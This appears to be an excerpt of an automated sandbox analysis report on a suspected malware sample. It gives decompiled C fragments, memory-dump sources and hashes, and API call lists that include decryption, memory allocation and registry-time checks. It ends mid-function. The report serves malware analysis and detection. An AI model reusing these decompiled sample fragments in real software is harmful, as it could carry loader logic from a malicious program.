Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Messagelstrcatlstrcpy$SendTextWindowlstrlen$LoadParentStringwsprintf
String ID: Untitled
API String ID: 3036718229-1345941684
Opcode ID: 9d28b6b0157c30828490a4ac012aa1bc71df5ade0e085783447e642352434e3e
Instruction ID: beb8b888c58aa5ef9139c48f413b250ca23cdacee4f315b6f5f19cfbb00c2536
Opcode Fuzzy Hash: 9d28b6b0157c30828490a4ac012aa1bc71df5ade0e085783447e642352434e3e
Instruction Fuzzy Hash: 08F08C723406057FD618A7B4DD89FE6F368BF88711F008220B31496490DFB4B89487A4

Uniqueness

Uniqueness Score: -1.00%

Function 04009290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04009290() {
				char _v8;
				_Unknown_base(*)()* _v12;

				_v8 = 0;
				_v12 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
				if(_v12 != 0) {
					_v12(GetCurrentProcess(),  &_v8);
				}
				return _v8;
			}

0x04009296
0x040092b4
0x040092bb
0x040092c8
0x040092c8
0x040092d1

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process), ref: 040092A7
GetProcAddress.KERNEL32(00000000), ref: 040092AE
GetCurrentProcess.KERNEL32(00000000), ref: 040092C1

Strings

IsWow64Process, xrefs: 0400929D
kernel32.dll, xrefs: 040092A2

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: 38042a03575f21376aceb1f4956717d964388ed776961314cc3b8e9b1f133714
Instruction ID: 4f9345edf5834c8cb0bc8acfac962fe0122c83c58fee2cee7c9637e45e33d241
Opcode Fuzzy Hash: 38042a03575f21376aceb1f4956717d964388ed776961314cc3b8e9b1f133714
Instruction Fuzzy Hash: D5E09275D04308EBEB04DFF4D94DB9D7B78EB08205F504694E545B2140D6786A54CB51

Uniqueness

Uniqueness Score: -1.00%

Function 000F5580 Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E000F5580(void* __edi, signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v8;
				signed short* _v12;
				intOrPtr _v16;
				void* __ebx;
				void* __esi;
				void* _t41;
				signed int _t44;
				unsigned int _t48;
				signed int* _t62;
				void* _t72;
				struct HWND__** _t73;
				signed int _t77;
				signed short* _t85;
				int _t87;
				signed int _t90;
				intOrPtr* _t92;
				struct HWND__* _t95;

				_t90 = _a4;
				if(( *(_t90 + 0x14) & 0x00000008) != 0) {
					_t62 =  *(_t90 + 0x10);
					_t85 =  *(_t90 + 0xc);
					_v12 = _t85;
					if(_t62 != 0) {
						if( *_t85 == 0xffff) {
							L14:
							 *(_t90 + 0x14) =  *(_t90 + 0x14) & 0x0000fff7;
							return 1;
						} else {
							do {
								_t77 = 0;
								_v8 = 0;
								if( *((intOrPtr*)(_t90 + 4)) <= 0) {
									goto L13;
								} else {
									while(_t77 >= 0 && _t77 <  *((intOrPtr*)(_t90 + 4))) {
										_t72 =  *_t90;
										_t73 = _t72 + _t77 * 8;
										if( *((short*)(_t72 + 4 + _t77 * 8)) == 8) {
											_t48 =  *_t62 & 0x0000ffff;
											if((_t48 & 0x00000008) != 0 && (_t85[1] & 0x00000008) != 0) {
												_t87 =  *_t85 & 0x0000ffff;
												_t95 =  *_t73;
												SendMessageA(_t95, 0x401, _t87,  !(_t48 >> 8) & 0x00000001);
												SendMessageA(_t95, 0x402, _t87, ( *_t62 & 0x0000ffff) >> 0x00000009 & 0x00000001);
												SendMessageA(_t95, 0x405, _t87, ( *_t62 & 0x0000ffff) >> 0x0000000a & 0x00000001);
												SendMessageA(_t95, 0x403, _t87, ( *_t62 & 0x0000ffff) >> 0x0000000b & 0x00000001);
												_t77 = _v8;
												_t85 = _v12;
												_t90 = _a4;
											}
										}
										_t77 = _t77 + 1;
										_v8 = _t77;
										if(_t77 <  *((intOrPtr*)(_t90 + 4))) {
											continue;
										} else {
											goto L13;
										}
										goto L21;
									}
									RaiseException(0xc000008c, 1, 0, 0);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									if(_v16 == 0x110) {
										_push(_t62);
										_push(_t90);
										_t92 = E000F47C0();
										_t41 = E001042F0(_v0, _t92);
										if(_t41 != 0) {
											_a4 = 0;
											_t44 =  *((intOrPtr*)( *((intOrPtr*)( *_t92))))( *((intOrPtr*)(_t92 + 4)), 0x110, _a8, _a12,  &_a4, 0);
											asm("sbb eax, eax");
											return  ~_t44 & _a4;
										} else {
											return _t41;
										}
									} else {
										return 0;
									}
								}
								goto L21;
								L13:
								 *_t62 =  *_t62 & 0x0000fff7;
								_t85 =  &(_t85[2]);
								_t62 =  &(_t62[2]);
								_v12 = _t85;
							} while ( *_t85 != 0xffff);
							goto L14;
						}
					} else {
						return 0;
					}
				} else {
					return 1;
				}
				L21:
			}

0x000f5587
0x000f558e
0x000f559d
0x000f55a1
0x000f55a4
0x000f55a9
0x000f55be
0x000f5692
0x000f5698
0x000f56a6
0x000f55c4
0x000f55c4
0x000f55c4
0x000f55c6
0x000f55cc
0x00000000
0x000f55d2
0x000f55d2
0x000f55e3
0x000f55eb
0x000f55ee
0x000f55f0
0x000f55f5
0x000f55fd
0x000f5600
0x000f5612
0x000f5629
0x000f5640
0x000f5657
0x000f565d
0x000f5660
0x000f5663
0x000f5663
0x000f55f5
0x000f5666
0x000f5667
0x000f566d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000f566d
0x000f56b4
0x000f56ba
0x000f56bb
0x000f56bc
0x000f56bd
0x000f56be
0x000f56bf
0x000f56ca
0x000f56d2
0x000f56d3
0x000f56dc
0x000f56de
0x000f56e5
0x000f56fb
0x000f5711
0x000f5715
0x000f571d
0x000f56e7
0x000f56ea
0x000f56ea
0x000f56cc
0x000f56cf
0x000f56cf
0x000f56ca
0x00000000
0x000f5673
0x000f5678
0x000f567b
0x000f5683
0x000f5686
0x000f5689
0x00000000
0x000f55c4
0x000f55ab
0x000f55b3
0x000f55b3
0x000f5590
0x000f5599
0x000f5599
0x00000000

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53a0865f752537a6047fe4d1671749263c1f64f4a94abd6b98281262c8690a9e
Instruction ID: 532739343c71584feb6cbfd6b2028ca0aa0092aede5a9b681e8722a83484c1f3
Opcode Fuzzy Hash: 53a0865f752537a6047fe4d1671749263c1f64f4a94abd6b98281262c8690a9e
Instruction Fuzzy Hash: B041E072610618ABDB24CF05EC80FB6B3E9FF94711F10C12AFB509BA80D7B5A951D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00103810 Relevance: 7.6, APIs: 5, Instructions: 119
windowCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E00103810(intOrPtr* __ecx, char _a4) {
				char _v8;
				char _v16;
				CHAR* _v20;
				long _v24;
				signed int _t28;
				long _t35;
				CHAR** _t39;
				intOrPtr _t43;
				CHAR** _t51;
				CHAR* _t66;
				void* _t72;
				intOrPtr* _t75;
				CHAR* _t77;
				LONG* _t78;
				signed int _t79;
				void* _t80;
				void* _t81;

				_push(0xffffffff);
				_push(E0010F3E0);
				_push( *[fs:0x0]);
				_t81 = _t80 - 8;
				_t28 =  *0x159060; // 0x1f9a9bdf
				_push(_t28 ^ _t79);
				 *[fs:0x0] =  &_v16;
				_t75 = __ecx;
				if(__ecx == 0) {
					_t72 = 0;
				} else {
					_t2 = _t75 - 0x24; // 0x0
					_t72 = _t2;
				}
				E00103C60( &_v24, 2);
				_v8 = 0;
				_t57 = _v24;
				if( *((intOrPtr*)(_v24 - 8)) <= 0) {
					MessageBeep(0x10);
				} else {
					_t66 =  *0x15ad30; // 0x15ad2c
					_v20 = _t66;
					_v8 = 1;
					E000F58F0( &_v20, _t57, _a4);
					_t81 = _t81 + 8;
					_push(3);
					if( *_t75 == 0) {
						_push( &_a4);
						_t39 = E00103C60();
						_t77 = _v20;
						MessageBoxA( *(_t72 + 4), _t77,  *_t39, 0x40);
					} else {
						_push( &_a4);
						_t51 = E00103C60();
						_t77 = _v20;
						MessageBoxA( *( *_t75 + 4), _t77,  *_t51, 0x40);
					}
					_t43 = _a4;
					_t18 = _t43 - 0xc; // -11
					if(_t18 != 0x15ad20 && InterlockedDecrement(_t43 + 0xfffffff4) <= 0) {
						_push(_a4 + 0xfffffff4);
						E001062C2();
						_t81 = _t81 + 4;
					}
					_v8 = 0;
					if(_t77 - 0xc != 0x15ad20) {
						_t78 =  &(_t77[0xfffffffffffffff4]);
						if(InterlockedDecrement(_t78) <= 0) {
							_push(_t78);
							E001062C2();
							_t81 = _t81 + 4;
						}
					}
				}
				_v8 = 0xffffffff;
				_t35 = _v24;
				if(_t35 - 0xc != 0x15ad20) {
					_t35 = InterlockedDecrement(_t35 + 0xfffffff4);
					if(_t35 <= 0) {
						_push(_v24 + 0xfffffff4);
						_t35 = E001062C2();
					}
				}
				 *[fs:0x0] = _v16;
				return _t35;
			}

0x00103813
0x00103815
0x00103820
0x00103821
0x00103827
0x0010382e
0x00103832
0x00103838
0x0010383c
0x00103843
0x0010383e
0x0010383e
0x0010383e
0x0010383e
0x0010384b
0x00103850
0x00103857
0x00103865
0x00103912
0x0010386b
0x0010386b
0x00103871
0x00103874
0x00103880
0x00103885
0x0010388b
0x0010388d
0x001038ac
0x001038ad
0x001038b4
0x001038bf
0x0010388f
0x00103892
0x00103893
0x0010389c
0x001038bf
0x001038bf
0x001038c5
0x001038c8
0x001038d1
0x001038e3
0x001038e4
0x001038e9
0x001038e9
0x001038ef
0x001038f9
0x001038fb
0x00103903
0x00103905
0x00103906
0x0010390b
0x0010390b
0x00103903
0x001038f9
0x00103918
0x0010391f
0x0010392b
0x00103931
0x00103935
0x0010393d
0x0010393e
0x00103943
0x00103935
0x00103949
0x00103957

APIs

MessageBoxA.USER32 ref: 001038BF
InterlockedDecrement.KERNEL32(-000000F3), ref: 001038D7
InterlockedDecrement.KERNEL32(?), ref: 001038FF
MessageBeep.USER32(00000010), ref: 00103912
InterlockedDecrement.KERNEL32(?), ref: 00103931

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: DecrementInterlocked$Message$Beep
String ID:
API String ID: 3609174286-0
Opcode ID: ff4b55a7ba62ef6ceead918bcc59b1fd6a2a44c96ec9af65a1d1c606f552b262
Instruction ID: 5edeac4c1ad007d3cba459e36b76ee3131633b828ecaca37c787482f087ec18e
Opcode Fuzzy Hash: ff4b55a7ba62ef6ceead918bcc59b1fd6a2a44c96ec9af65a1d1c606f552b262
Instruction Fuzzy Hash: 2D41B572904609EBD714DB68CC85B9AB77CEF14324F108719F961A72D0D7B0AF04C791

Uniqueness

Uniqueness Score: -1.00%

Function 02529137 Relevance: 7.6, APIs: 5, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,000075BC,00003000,00000004), ref: 0252916A

Part of subcall function 0252BBC7: RegOpenKeyExA.ADVAPI32(80000001,80000001,00000000,000F003F,00000000), ref: 0252BC23
Part of subcall function 0252BBC7: RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0252BC47
Part of subcall function 0252BBC7: RegCloseKey.ADVAPI32(00000000), ref: 0252BC5B

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 025292AA

Part of subcall function 0252A237: CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C7C8,00000001,00000000), ref: 0252A29A
Part of subcall function 0252A237: GetLastError.KERNEL32 ref: 0252A2A4
Part of subcall function 0252A237: CryptAcquireContextA.ADVAPI32(00000000,04013370,0400C7F8,00000001,00000008), ref: 0252A2D3
Part of subcall function 0252A237: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 0252A2FE
Part of subcall function 0252A237: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 0252A325
Part of subcall function 0252A237: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 0252A341
Part of subcall function 0252A237: CryptDestroyKey.ADVAPI32(00000000), ref: 0252A34E
Part of subcall function 0252A237: CryptDestroyKey.ADVAPI32(00000000), ref: 0252A358
Part of subcall function 0252A237: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0252A364

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 02529212
inet_ntoa.WS2_32(?), ref: 02529257
wnsprintfA.SHLWAPI ref: 02529283

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$CloseDecryptErrorFreeLastOpenQueryReleaseValueinet_ntoawnsprintf
String ID:
API String ID: 1891311255-0
Opcode ID: ff601da54595e3141c4ee6180892f57eaa55f106177f2431a5f5641ff32353a4
Instruction ID: 5967af85e9b41f4c0c08fc863bc8915defd89c3ff4dd7e7c2af8b5ad2202a511
Opcode Fuzzy Hash: ff601da54595e3141c4ee6180892f57eaa55f106177f2431a5f5641ff32353a4
Instruction Fuzzy Hash: 42410E71E00209ABEB08DF94C985BEDBBB5FB48705F148159E6057B3C0D7759A44CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 02528A17 Relevance: 7.6, APIs: 5, Instructions: 113registrytimeCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02528A84
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F,00000000), ref: 02528AC0
RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000010), ref: 02528AF0
GetLocalTime.KERNEL32(?), ref: 02528B0A
RegCloseKey.ADVAPI32(00000000), ref: 02528B70

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: CloseLocalOpenQueryTimeValuewsprintf
String ID:
API String ID: 3852505512-0
Opcode ID: 9fc5ed1871f13b41f857c89104141c1ca61f136d8528aa37c76ad80783d1fa8b
Instruction ID: 70254c0ed7484e63a82359f9d7ebff820f715a3cb3c5fb5b5ec439e6cd2cf60a
Opcode Fuzzy Hash: 9fc5ed1871f13b41f857c89104141c1ca61f136d8528aa37c76ad80783d1fa8b
Instruction Fuzzy Hash: AE414BB59002089FEB08CF94C448BEDBBB5FF49300F14865DE905AB291D7759A48CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04007250 Relevance: 7.6, APIs: 5, Instructions: 113
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E04007250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				char* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v40;
				int _v44;
				int _v48;
				char _v64;
				signed int _v68;
				intOrPtr* _v72;
				struct _SYSTEMTIME _v88;
				char* _t58;
				intOrPtr* _t68;
				short* _t69;
				signed int _t70;
				intOrPtr* _t91;
				void* _t97;
				void* _t100;
				intOrPtr* _t101;

				_v5 = 1;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 ||  *((intOrPtr*)(_a4 + 0x10)) == 0) {
					L12:
					return _v5;
				} else {
					_v24 = E040016F0(_a8, _a12);
					_t58 =  *0x40118a0; // 0x4013b88
					_v12 = _t58;
					E04007D20(_t58,  &_v40, 0, 0x10);
					wsprintfA( &_v40, "%u", _v24);
					_t100 = _t97 + 0x20;
					_v16 = 0x80000001;
					if(( *0x401435a & 0x000000ff) != 0) {
						_v16 = 0x80000002;
					}
					_v20 = 0;
					if(RegOpenKeyExA(_v16, _v12, 0, 0xf003f,  &_v20) == 0) {
						_v48 = 0x10;
						_v44 = 0x10;
						if(RegQueryValueExA(_v20,  &_v40, 0, 0,  &_v64,  &_v44) == 0 && _v44 == 0x10) {
							_v72 =  &_v64;
							GetLocalTime( &_v88);
							_t91 = _v72;
							_t101 = _t100 - 0x10;
							_t68 = _t101;
							 *_t68 =  *_t91;
							 *((intOrPtr*)(_t68 + 4)) =  *((intOrPtr*)(_t91 + 4));
							 *((intOrPtr*)(_t68 + 8)) =  *((intOrPtr*)(_t91 + 8));
							 *((intOrPtr*)(_t68 + 0xc)) =  *((intOrPtr*)(_t91 + 0xc));
							_t69 = _t101 - 0x10;
							 *_t69 = _v88.wYear;
							_t69[2] = _v88.wDayOfWeek;
							_t69[4] = _v88.wHour;
							_t69[6] = _v88.wSecond;
							_t70 = E04009910();
							asm("cdq");
							_v68 = _t70 / 0x3c;
							if(_v68 <  *((intOrPtr*)(_a4 + 0x10))) {
								_v5 = 0;
							}
						}
						RegCloseKey(_v20);
					}
					goto L12;
				}
			}

0x04007256
0x0400725e
0x040073af
0x040073b5
0x04007285
0x04007295
0x04007298
0x0400729d
0x040072a8
0x040072bd
0x040072c3
0x040072c6
0x040072d6
0x040072d8
0x040072d8
0x040072df
0x04007301
0x04007307
0x0400730e
0x04007331
0x0400733c
0x04007343
0x04007349
0x0400734c
0x0400734f
0x04007353
0x04007358
0x0400735e
0x04007364
0x0400736a
0x0400736f
0x04007374
0x0400737a
0x04007380
0x04007383
0x0400738b
0x04007393
0x0400739f
0x040073a1
0x040073a1
0x0400739f
0x040073a9
0x040073a9
0x00000000
0x04007301

APIs

wsprintfA.USER32 ref: 040072BD
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F,00000000), ref: 040072F9
RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000010), ref: 04007329
GetLocalTime.KERNEL32(?), ref: 04007343
RegCloseKey.ADVAPI32(00000000), ref: 040073A9

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: CloseLocalOpenQueryTimeValuewsprintf
String ID:
API String ID: 3852505512-0
Opcode ID: dbb66ec4e40f0b96ddf8d886ab6d66ea576557e999e4472c56c1706dad51e441
Instruction ID: 1589668eb117d9c12aae7036857c9bc1fd79cd220dc98d09134ced9bc9b72130
Opcode Fuzzy Hash: dbb66ec4e40f0b96ddf8d886ab6d66ea576557e999e4472c56c1706dad51e441
Instruction Fuzzy Hash: CE414C74900208EFEB08DF94D885BEDBBB5FF48300F14C569E915AB281D779AA45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 000FDEC0 Relevance: 7.6, APIs: 5, Instructions: 87
threadCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E000FDEC0(int __edx, char _a4, long _a8) {
				intOrPtr _v8;
				char _v16;
				char _v20;
				struct _CRITICAL_SECTION* _v24;
				void* __ecx;
				void* __edi;
				void* __esi;
				signed int _t22;
				long _t27;
				void* _t32;
				void* _t37;
				int _t38;
				intOrPtr _t43;
				intOrPtr* _t46;
				void* _t47;
				struct HHOOK__** _t49;
				char _t51;
				intOrPtr* _t53;
				signed int _t54;

				_push(0xffffffff);
				_push(E0010F618);
				_push( *[fs:0x0]);
				_push(_t47);
				_t22 =  *0x159060; // 0x1f9a9bdf
				_push(_t22 ^ _t54);
				 *[fs:0x0] =  &_v16;
				_t51 = _a4;
				_t27 = CallWindowProcA( *(_t51 + 0x40),  *(_t51 + 4), __edx, _t38, _a8);
				_a8 = _t27;
				if(( *(_t51 + 0x84) & 0x00000002) != 0) {
					L16:
					 *[fs:0x0] = _v16;
					return _t27;
				}
				_v24 = 0x170c68;
				_v8 = 0;
				EnterCriticalSection(0x170c68);
				_v20 = 1;
				if( *0x171994 == 0) {
					L15:
					LeaveCriticalSection(0x170c68);
					_t27 = _a8;
					goto L16;
				}
				_t37 = GetCurrentThreadId();
				_a4 = _t37;
				_t49 = E00101B70( &_a4, _t47, _t51);
				if(_t49 == 0) {
					goto L15;
				}
				_t15 =  &(_t49[1]);
				 *_t15 = _t49[1] - 1;
				if( *_t15 != 0) {
					L12:
					_t53 =  *0x171994; // 0x0
					L13:
					if( *((intOrPtr*)(_t53 + 8)) == 0) {
						E000FFF20(_t53);
						 *0x171994 = 0;
					}
					goto L15;
				}
				UnhookWindowsHookEx( *_t49);
				_t53 =  *0x171994; // 0x0
				_t43 =  *((intOrPtr*)(_t53 + 8));
				_t32 = 0;
				if(_t43 <= 0) {
					goto L13;
				} else {
					_t46 =  *_t53;
					while( *_t46 != _t37) {
						_t32 = _t32 + 1;
						_t46 = _t46 + 4;
						if(_t32 < _t43) {
							continue;
						}
						goto L13;
					}
					if(_t32 == 0xffffffff) {
						goto L13;
					}
					if(E00102BE0(_t32, _t53) != 0) {
						_push(_t49);
						E001059DB();
					}
					goto L12;
				}
			}

0x000fdec3
0x000fdec5
0x000fded0
0x000fded6
0x000fded7
0x000fdede
0x000fdee2
0x000fdee8
0x000fdef9
0x000fdf06
0x000fdf09
0x000fdfbe
0x000fdfc1
0x000fdfcf
0x000fdfcf
0x000fdf0f
0x000fdf1b
0x000fdf22
0x000fdf2f
0x000fdf33
0x000fdfb0
0x000fdfb5
0x000fdfbb
0x00000000
0x000fdfbb
0x000fdf3b
0x000fdf40
0x000fdf48
0x000fdf4c
0x00000000
0x00000000
0x000fdf4e
0x000fdf4e
0x000fdf51
0x000fdf95
0x000fdf95
0x000fdf9b
0x000fdf9f
0x000fdfa1
0x000fdfa6
0x000fdfa6
0x00000000
0x000fdf9f
0x000fdf56
0x000fdf5c
0x000fdf62
0x000fdf65
0x000fdf69
0x00000000
0x000fdf6b
0x000fdf6b
0x000fdf70
0x000fdf74
0x000fdf75
0x000fdf7a
0x00000000
0x00000000
0x00000000
0x000fdf7c
0x000fdf81
0x00000000
0x00000000
0x000fdf8a
0x000fdf8c
0x000fdf8d
0x000fdf92
0x00000000
0x000fdf8a

APIs

CallWindowProcA.USER32 ref: 000FDEF9
EnterCriticalSection.KERNEL32(00170C68), ref: 000FDF22
GetCurrentThreadId.KERNEL32 ref: 000FDF35
UnhookWindowsHookEx.USER32 ref: 000FDF56
LeaveCriticalSection.KERNEL32(00170C68), ref: 000FDFB5

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalSection$CallCurrentEnterHookLeaveProcThreadUnhookWindowWindows
String ID:
API String ID: 1449620483-0
Opcode ID: 594b0a22429f5f5db944e13e23ba347a39a25e8124fafcc08bbf4edd7c2f8a20
Instruction ID: fedba66700272e4fb38bb190707570c6ceb4538e02a65645312962e13b08b1c7
Opcode Fuzzy Hash: 594b0a22429f5f5db944e13e23ba347a39a25e8124fafcc08bbf4edd7c2f8a20
Instruction Fuzzy Hash: 3331F571500209EFC711CF54DD84BBAB7F5FB88314F10852AF91A97A80D774A888DB51

Uniqueness

Uniqueness Score: -1.00%

Function 000FFF90 Relevance: 7.6, APIs: 5, Instructions: 82
threadCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E000FFF90(struct HMENU__* __eax, signed short __ebx, int __ecx, int* _a4, CHAR* _a8, signed int _a12, long _a16, struct HMENU__* _a20) {
				signed int _v12;
				signed int _v24;
				char _v215;
				char _v216;
				int _v220;
				int _v224;
				signed int _v228;
				int _v232;
				void* _v236;
				struct HWND__* _v240;
				struct HWND__* _v244;
				struct HWND__* _v248;
				void* _v252;
				struct tagRECT _v268;
				struct HMENU__* _v272;
				int _v276;
				struct HMENU__** _v280;
				intOrPtr _v284;
				struct HMENU__* _v288;
				int _v292;
				CHAR* _v296;
				int _v300;
				int _v304;
				int _v308;
				int _v312;
				int _v316;
				void* _v320;
				struct tagMENUITEMINFOA _v368;
				struct HWND__* _v428;
				char _v456;
				char _v460;
				void* __edi;
				void* __esi;
				signed int _t110;
				struct HWND__** _t114;
				long _t117;
				long _t120;
				struct HMENU__* _t121;
				signed char _t134;
				int _t141;
				intOrPtr _t157;
				int* _t158;
				signed short _t164;
				void* _t166;
				void* _t167;
				signed char _t171;
				int _t172;
				long _t173;
				void* _t182;
				struct HMENU__* _t206;
				struct HWND__* _t207;
				void* _t208;
				void* _t209;
				intOrPtr* _t214;
				int _t215;
				void* _t216;
				int _t217;
				struct HMENU__* _t218;
				void* _t219;
				CHAR* _t220;
				struct HMENU__* _t221;
				signed int _t227;
				signed int _t228;
				void* _t230;

				_t172 = __ecx;
				_t164 = __ebx;
				_push(__ecx);
				_t206 = __eax;
				if(__ebx != 0) {
					_t1 = _t206 + 8; // 0x112e0c
					_t214 = _t1;
					if(_t214 == 0 || __eax == 0) {
						RaiseException(0xc0000005, 1, 0, 0);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t227 = _t228;
						_t110 =  *0x159060; // 0x1f9a9bdf
						_v24 = _t110 ^ _t227;
						_push(_t164);
						_push(_t214);
						_push(_t206);
						_t215 = _t172;
						_v292 = _t215;
						_v460 = 0x50;
						E00106820( &_v456, 0, 0x4c);
						_t114 =  *(_t215 + 4);
						_t230 = _t228 - 0x1bc + 0xc;
						_v456 = 0x10;
						_t196 = _t114[3];
